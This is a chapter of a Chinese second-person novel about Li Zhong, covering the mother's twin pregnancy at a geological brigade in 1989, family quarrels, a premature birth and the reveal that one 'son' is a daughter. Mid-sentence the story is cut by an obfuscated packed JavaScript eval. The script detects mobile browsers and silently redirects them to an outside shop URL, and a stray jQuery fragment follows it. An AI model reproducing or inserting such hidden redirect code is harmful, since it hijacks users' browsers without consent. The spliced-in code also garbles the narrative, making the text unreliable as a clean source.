李重啊。
你活着的35年里，有人真正看到过你吗？
或者，我换个问法，你活着的35年里，你想让别人看到真正的你吗？
没有。
并不。
-
你在你母亲肚子里的时候就很会伪装。207地质队医院的王医生还记得1989年的那个初夏，你母亲“贿赂”她十斤土鸡蛋，再加上两人同一个大队的情意，用医院那台刚买来的B超，第一次看到了你，和你的哥哥。
冰凉的超声耦合剂涂抹在你母亲撅得比山高的肚子上，黑白屏幕上出现两个小小的胎儿。
一左一右，镜像对称。
不知道你用什么方法糊弄了经验丰富的王医生，她以十几年的行医经验告诉你母亲：这两个都是男孩。
你母亲拖着笨重的身体，扶着肚子，趾高气扬地走在地质队家属区。
家属区被泾渭分明地分成了两部分。南边靠着河的是1975年建造的土屋，俗称土窝子，土墙灰瓦，窗户极小，一到夏天就热成蒸笼，一到冬天又冻成冰窟。北边地势高的地方新建了好几排红墙红瓦的小洋房，有天花板，有水泥地，门窗又大，被称作干部房，十分抢手。
要是往常，你母亲会快速低下头越过北边干部房，酸不溜几地回到自己的土窝里，可这一天，速度放慢了，两侧看厌的房子和树木此时此刻变成了最美的风景，她一点都不舍得眨眼，左看看右看看。
果然人们注意到了你母亲，纷纷与她打招呼。
她挺着明显超过七个月的大肚子悄悄说：“双胞胎，两个都是男孩。”
她的话果然惊起哇声一片。一举得两男，还只受一茬罪，有福有福。
你的母亲眉眼笑弯了，嘴上说着生两个讨债的有什么好，可慈爱的手抚摸着有些紧绷的肚皮，显然在说反话。
有人羡慕，当然有人嫉妒。
“两个男孩也不错的。要是一男一女龙凤胎，”对方捂着嘴嘿嘿笑，“那就不是福报，是孽报。”
你母亲不在乎这个古老传说，只当对方没文化，瞎迷信，还嫉妒。
207地质大队隶属于省地矿局，是事业单位。计划生育四个字悬在大队所有人头上，是高压线，碰不得。就是住在干部房的干部们生不出男孩也只能仰天长叹。
你母亲一下子怀了两个男孩，必然成为大家羡慕的对象。她对此非常清楚，所以她的肚子比干部房还金贵，还招人嫉妒。
有人上前抚摸你母亲的肚子想沾一沾喜气，有人仔细询问你母亲怀孕前吃了什么做了什么，有人则悄声问你母亲是不是那样时摆了什么不得了姿势。你的母亲红着脸吵对方啐了一口，只说这都是天注定，强求不来的。
接受完“顶礼膜拜”后，你母亲终于心满意足地回到了自己的土窝子里。
低矮的屋檐下一窝鸡正饿得叽叽乱叫，你父亲像是听不到，皱着眉站在门口质问你母亲去哪了，他难得回来一趟结果连饭也吃不上。
土房子墙挨着墙，连个遮挡的院子都没有，说话声音大一点隔壁都能听到，你母亲讪笑着赶紧把你父亲拉回家。
她不想在你父亲恼火的时候说出双胎儿子这件大喜事，转过身麻溜下了碗面条，家里仅有的两个鸡蛋也变成荷包蛋卧进你父亲的碗里。
收拾妥当后，你母亲才小心翼翼地让你父亲猜猜她肚子里是什么？
你父亲眼皮都没抬，说：“人”。
这个答案看似幽默，实则敷衍。你母亲只看到了第一层，她笑得格外夸张，伸出两根手指又让你父亲猜。
你父亲立马没了耐心，把她的手推开。
你母亲有点失望，但也只是一瞬。她指着自己的肚子说：“我怀了两个，王医生说都是男孩。”
你父亲终于肯抬头仔细看着你母亲。这才发现她脸上长满了斑点，肚子也大得出奇。
你母亲从没有被你父亲这样仔细注视过，她的脸红了起来，笨重的身子也变得轻盈。
“怀儿子会变丑，”你父亲难得笑起来，“你还是双倍的丑。”
你母亲当即就哭了，哭得肚皮更紧，哭得你父亲摔门而去。
翌日你奶奶出现在你家门口。她是个精明的小老太，拎着一罐香油塞你母亲怀里，脸不红心不跳地把她之前找尽理由不来照顾的事掀篇了。
她说我儿子连夜回家把我请来照顾你，对你可真好。
她说我儿子天天把脑袋绑在裤腰带上去野山里找矿，你可要心疼他，别乱花他的钱。
她说你一口气怀两个男崽，我儿子可真厉害。
说完一屁股坐下来说她饿了。
你母亲来不及消化这些话，就被催着进厨房做饭。到饭点时，你父亲回来了。他难得走进厨房，还给你母亲洗了个苹果……你的母亲顿时两眼泛红，再回头时，眉眼间完全不见昨夜的愁容，美滋滋地把苹果切成块，放进盘子端到餐桌上。
你母亲只吃到了一小块，剩下的不是进了你奶奶的嘴里，就是被你奶奶塞进你父亲的嘴里。
-
你父亲子承父业。中考时跑去参加师范考试，明明已经拿到了录取通知书，却被你爷爷强制参加技工学校考试。他以地质队子弟的身份轻松考上了这个地质系统内部的学校，只能与心爱的师范学校挥手道别。
1983年你父亲19岁，刚毕业就被分配到了207地质队。
他运气好，赶上好时候。
80年代初，地质工作一改大运动期间萎缩后退的局面，从1982年开始，全国范围内掀起第二次找矿热潮。
207地质队接到任务，组织年轻技术人员前往天柱找矿。天柱这地方，山大，坡陡，沟深，你父亲作为地质员背着地质包，和钻机队一头扎进去，一扎就是三年。高大威武的钻机被硬生生抬进去，竖起来，它们像闯入连绵不绝矿区的异型生物，用坚硬的触角狠狠扎进去，扎进岩层，取走样品，判断含矿地层、矿体厚度、矿石品位。
日子是苦的，结果是甜的。你父亲和队友们一起探明这个偏远山区竟然蕴藏着超一亿吨的重晶石，占到全国已探明储量的30％。
你父亲很骄傲，他靠着这三年的努力不仅获得了中级职称，还拿到了地矿部颁发的“勘察进步三等奖”……虽然是集体荣誉称号，可你父亲认为他的功劳只多不少。
1986年回到队部后，你爷爷安排你父亲娶了你母亲。原因无它，只因你外公与你爷爷是多年朋友，两人感情深厚，就想结为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284745|152022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亲家把这份感情传递下去，哪怕你母亲比你父亲大三岁，也没文化，长相嘛普普通通，除了一双弯弯眼把人添了几分灵动。
两人结婚后，你父亲更是常年申请去野外找矿，一年见不到几面。怀上你和你哥哥时，他们已经结婚三年。
你爷爷在你父母结婚后很快去世，你奶奶当然也不喜欢你母亲，她以家有几亩水田要种为由，拒绝来207这个常年只有儿媳妇的家。
但这次不同了，李家有后了，一来就来两个男孙。而且这几年你父亲拼命工作，再过两年说不定就能混个一官半职，住进干部房。一切都在朝好的方向变化，直到那天晚上。
李重啊，你是有感知的吧。
你在你母亲肚子里一定听到了什么，所以你不停地踢跳，试图蹬破你母亲的肚皮，试图提前看看这个世界的“热闹”。
“你为什么要去大礼堂跟那个骚娘们跳舞？”
“说话不要这么粗俗，人家有名字，我和她就是普通同事关系，跳个舞怎么了？”
“你为什么不跟我跳？”
“你会吗？”
“我大着肚子怎么学？再说我现在干什么都艰难，你就不能在家帮帮我吗？”
“我妈过来就是为了帮你，你叫她做就好了啊！”
“我敢使唤你妈？她比我这个大肚子的都娇气！”
“你怎么说话呢？那是我妈，帮你是义务不是本分。”
你踢得更凶了，直接把你母亲踢弯了腰。
你奶奶也冲进来，站到她儿子身边。
“别吵了！要是觉得我碍眼，我现在就走！”
你奶奶作势要走，你父亲去拽，两人拉扯得声情并茂，母慈子孝，没人注意到你母亲被狠狠撞了一下……她疼得蹲下来，一股热流涌出来，红艳的血沿着大腿快速淌下，直至淹没了鞋。
-
你和你哥哥是早产儿。提前两个月。老话说七活八不活。你父亲难得露出后怕的表情，垂头丧气地坐在手术室门口。你奶奶也怕了，但她嘴硬，嘴里嘟囔着说：“怎么这么不经气呢！”
你母亲生得很艰难，痛苦的叫声响彻整个医院。来来往往都是熟悉的人，有人凑过来递给你父亲一只烟，说好福气啊马上就要看到两个儿子了。
你父亲心里松快了点，把烟塞到耳朵后，笑着说：“这里不能抽，不然一会医生该骂了。”
你哥哥第一个从你母亲肚子里出来。
你当然见过他的，你们共同喝了几个月的羊水，他的心跳连着你的心跳，你对他有种天生的熟悉感。
你母亲不如你幸运，她还没来得及看你哥哥一眼，阵痛袭来，只能咬着牙继续生。你父亲和你奶奶也只在门口匆匆看见护士慌张地把你哥哥抱去抢救室，连他长什么样都没看到。
接下来是你一声声小猫一样的可怜哭声，结束了这场令人恐慌的战争。
你弱小，同时你又是坚强的，努力地呼吸，努力地哭泣，努力地活着。
但……你是个女孩。
王医生一脸意外，把你两条小腿夹起来，让你的小屁股对着你母亲，说：“哎呀，奇了。是妹妹呀，是龙凤胎。”
你母亲两只眼睛从期盼变为震惊，嗷一声又哭了起来。